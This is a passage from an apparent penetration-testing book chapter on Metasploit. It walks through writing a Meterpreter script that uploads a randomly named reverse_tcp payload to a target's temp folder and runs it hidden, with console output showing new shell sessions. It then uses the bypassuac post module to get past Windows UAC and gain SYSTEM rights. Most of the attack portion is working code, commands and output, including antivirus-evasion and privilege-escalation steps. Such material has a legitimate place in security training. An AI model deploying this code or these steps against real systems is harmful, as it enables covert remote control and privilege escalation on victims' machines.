Creating Your Own Meterpreter Script

Open up your favorite editor and create a new file called execute_upload.rb, located in scripts/meterpreter/. We’ll start by adding comments to the top of the file to let everyone know the purpose of this script and to define our options for the script:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

# Options

opts = Rex::Parser::Arguments.new(
        "-h"  => [ false,
   "This help menu. Spawn a meterpreter shell by
 uploading and               executing."],
        "-r"  => [ true,
    "The IP of a remote Metasploit listening for the connect back"],
        "-p"  => [ true,    "The port
 on the remote host where Metasploit is listening               (default: 4444)"]
)

This should look somewhat familiar, because it’s almost exactly the same as the example from Carlos Perez that appeared earlier in the chapter. The help message is defined with -h at , and -r and -p are specified for the remote IP address and port number we’ll need for our new Meterpreter executable. Note that a true statement is included; this indicates that these fields are required.

Next, we define the variables we want to use throughout the script. We’ll call the Rex::Text.rand_text_alpha function to create a unique executable name every time it’s called. This is efficient, because we don’t want to assign an executable name statically, which would “antivirus fingerprint” the attack. We’ll also configure each argument so that it either assigns a value or prints information with, for example, the -h.

filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
rhost    = Rex::Socket.source_address("1.2.3.4")
rport    = 4444
lhost    = "127.0.0.1"
pay      = nil

#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
        case opt
        when "-h"
                print_line(info)
                print_line(opts.usage)
                raise Rex::Script::Completed

        when "-r"
                rhost = val
        when "-p"
                rport = val.to_i

        end

end

Notice that we broke out each argument and assigned values or print information back to the user. The rhost = val means “take the value presented from the user when -r was input.” The rport = val.to_i simply assigns the value as an integer (it will always need to be an integer for a port number).

In the next series, we define everything we need to create our payload:

 payload = "windows/meterpreter/reverse_tcp"
 pay = client.framework.payloads.create(payload)
  pay.datastore['LHOST'] = rhost
  pay.datastore['LPORT'] = rport
  mul = client.framework.exploits.create("multi/handler")
  mul.share_datastore(pay.datastore)
  mul.datastore['WORKSPACE'] = client.workspace
  mul.datastore['PAYLOAD'] = payload
  mul.datastore['EXITFUNC'] = 'process'
  mul.datastore['ExitOnSession'] = true
  mul.exploit_simple(
  'Payload'  => mul.datastore['PAYLOAD'],
  'RunAsJob' => true
   )

We define our payload as a windows/meterpreter/reverse_tcp at , generate the payload calling the client.framework.payloads.create(payload) at , and specify the necessary parameters to create the multi-handler. These are all the required fields we need to set our payload using the LHOST and LPORT options and create a listener.

Next we create our executable (win32pe meterpreter), upload it to our target machine, and execute it:

 if client.platform =˜ /win32|win64/

        tempdir = client.fs.file.expand_path("%TEMP%")
          print_status("Uploading meterpreter to temp directory...")
          raw = pay.generate
        exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
          tempexe = tempdir + "\\" + filename
          tempexe.gsub!("\\\\", "\\")
          fd = client.fs.file.new(tempexe, "wb")
          fd.write(exe)
          fd.close
          print_status("Executing the payload on the system...")
          execute_payload = "#{tempdir}\\#{filename}"
         pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true})

  end

The variables called #{something} have already been defined within the script and will be called later. Notice that we already defined tempdir and filename. Moving into the script, we first include an if statement to detect whether the platform we are targeting is a Windows-based system ; otherwise, the attack won’t run. We then expand the temp directory on the target machine; this would be the equivalent of %TEMP%. Next we create a new file on the system and write out the new EXE we just generated from the ::Msf::Util::EXE.to_win32pe call. Remember that we set the session.sys.process.execute to Hidden so that the target user won’t see anything pop up on his side.

Putting this all together, our final script should look something like this:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

#
# Options
#

opts = Rex::Parser::Arguments.new(
       "-h"  => [ false,   "This help menu. Spawn a
 meterpreter shell by uploading and             executing."],
       "-r"  => [ true,    "The IP of a remote Metasploit
 listening for the connect back"],
       "-p"  => [ true,    "The port on the remote host where
 Metasploit is listening             (default: 4444)"]
)

#
# Default parameters
#

filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
rhost    = Rex::Socket.source_address("1.2.3.4")
rport    = 4444
lhost    = "127.0.0.1"
pay      = nil

#
# Option parsing
#

opts.parse(args) do |opt, idx, val|
       case opt
       when "-h"
              print_line(info)
              print_line(opts.usage)
              raise Rex::Script::Completed

       when "-r"
              rhost = val
       when "-p"
              rport = val.to_i

       end

end

       payload = "windows/meterpreter/reverse_tcp"
       pay = client.framework.payloads.create(payload)
       pay.datastore['LHOST'] = rhost
       pay.datastore['LPORT'] = rport
       mul = client.framework.exploits.create("multi/handler")
       mul.share_datastore(pay.datastore)
       mul.datastore['WORKSPACE'] = client.workspace
       mul.datastore['PAYLOAD'] = payload
       mul.datastore['EXITFUNC'] = 'process'
       mul.datastore['ExitOnSession'] = true
       print_status("Running payload handler")
       mul.exploit_simple(
              'Payload'  => mul.datastore['PAYLOAD'],
              'RunAsJob' => true
       )

if client.platform =˜ /win32|win64/

       tempdir = client.fs.file.expand_path("%TEMP%")
       print_status("Uploading meterpreter to temp directory")
        raw = pay.generate
        exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
       tempexe = tempdir + "\\" + filename
        tempexe.gsub!("\\\\", "\\")
       fd = client.fs.file.new(tempexe, "wb")
       fd.write(exe)
       fd.close
       print_status("Executing the payload on the system")
       execute_payload = "#{tempdir}\\#{filename}"
       pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true})

end

Now that we have our newly created Meterpreter script, let’s launch Metasploit, get into Meterpreter, and execute the script:

meterpreter > run execute_upload -r 172.16.32.129 -p 443
[*] Running payload handler
[*] Uploading meterpreter to temp directory
[*] Executing the payload on the system
[*] Sending stage (749056 bytes) to 172.16.32.170
[*] Meterpreter session 2 opened (172.16.32.129:443 -> 172.16.32.170:1140) at
      Tue Nov 30 23:24:19 −0500 2010
meterpreter >

Success! We have created a Meterpreter script and successfully executed it to spawn a new Meterpreter shell. This is a small example of the power and flexibility of the Meterpreter scripting language and Ruby in general.

One important element to discuss briefly (as mentioned earlier) is the move to convert Meterpreter scripts to a format similar to the Metasploit modules. We’ll use a small demo of a module built for bypassing the Windows 7 UAC. Windows Vista and later introduced a feature similar to sudo in UNIX- and Linux-based systems. With this feature, a user is assigned limited account permissions until administrative-level permissions are necessary. When the user needs admin rights to perform a task, a prompt appears, telling the user that admin rights are required and are being used. The ultimate goal of this feature is to protect against a compromise or virus infection and to limit exposure only to one user account.

In December 2010, Dave Kennedy and Kevin Mitnick released a new Meterpreter module that bypassed the Windows UAC component by injecting a payload into a process that had a trusted publisher certificate and was considered “UAC Safe.” When injecting into the process, a DLL can be called, running under the context of that UAC Safe process, which then executes commands.

In this example, we use the post exploitation modules, which can be used to bypass UAC. We first start the multi/handler module with the -j flag, which allows us to accept multiple Meterpreter shells. Notice in this example that when we try to run the getsystem command, it fails because it is being blocked by Windows UAC.

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 1 opened (172.16.32.128:443 ->
 172.16.32.130:2310) at      Thu June 09 08:02:45 −0500 2011
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > sysinfo
Computer: DAVE-DEV-PC
OS      : Windows 7 (Build 7600).
Arch    : x64 (Current Process is WOW64)
Language: en_US
meterpreter >

Notice that we can’t bridge over to a system-level account, because UAC is blocking us. We need to get around UAC to obtain system-level privileges and ultimately become an administrator so that we can further compromise the machine. We press ctrl-Z to back out, keeping the session active. Then we use the new format to run post modules and bypass the Windows UAC functionality.

msf exploit(handler) > use post/windows/escalate/bypassuac
msf post(bypassuac) > show options
Module options (post/windows/escalate/bypassuac):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST                     no        Listener IP address for the new session
   LPORT    4444             no        Listener port for the new session
   SESSION                   yes       The session to run this module on.

msf post(bypassuac) > set LHOST 172.16.32.128
LHOST => 172.16.32.128
msf post(bypassuac) > set SESSION 1
SESSION => 1
msf post(bypassuac) > exploit

[*] Started reverse handler on 172.16.32.128:4444
[*] Starting the payload handler...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Post module execution completed
msf post(bypassuac) >
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 2 opened (172.16.32.128:4444 ->
 172.16.32.130:1106) at Thu June 09
     19:50:54 −0500 2011
[*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1106)
 processing InitialAutoRunScript
     'migrate -f'
[*] Current server process: tYNpQMP.exe (3716)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3812
[*] New server process: notepad.exe (3812)

msf post(bypassuac) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getsystem
...got system (via technique 1).
meterpreter >

We could also have executed run instead of use within the Meterpreter console and it would have leveraged the default options and executed without having to set up the various options.

Notice in the preceding example that we succeed in gaining system-level rights on a target machine with UAC enabled. This small example demonstrates how the post exploitation modules will ultimately be set up and converted.

This script works simply by uploading a previously compiled executable to the target machine and then running it. Take a look at the post exploitation module for a better idea of what’s going on behind the scenes:

root@bt:/opt/framework3/msf3# nano modules/post/windows/escalate/bypassuac.rb